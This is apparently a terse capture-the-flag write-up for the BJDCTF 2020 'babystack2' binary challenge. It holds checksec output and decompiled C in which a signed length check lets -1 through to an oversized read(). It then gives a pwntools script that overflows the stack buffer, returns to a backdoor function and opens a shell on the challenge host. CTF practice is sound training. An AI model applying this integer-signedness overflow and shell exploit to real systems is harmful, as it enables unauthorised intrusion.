➜ pwn checksec --file=bjdctf_2020_babystack2 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 75) Symbols No 0 1 bjdctf_2020_babystack2
setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); LODWORD(nbytes) = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *"); puts("* And Welcome to the bin world! *"); puts("* Let's try to pwn the world! *"); puts("* Please told me u answer loudly!*"); puts("[+]Are u ready?"); puts("[+]Please input the length of your name:"); __isoc99_scanf("%d", &nbytes); if ( (int)nbytes > 10 ) { puts("Oops,u name is too long!"); exit(-1); } puts("[+]What's u name?"); read(0, buf, (unsignedint)nbytes); return0; }
from pwn import * r = remote('node5.buuoj.cn',27722) backdoor = 0x0400726 r.recvuntil('[+]Please input the length of your name:') r.sendline(b'-1') buf = b'a'*(0x10+0x8) + p64(backdoor) r.sendline(buf) r.interactive()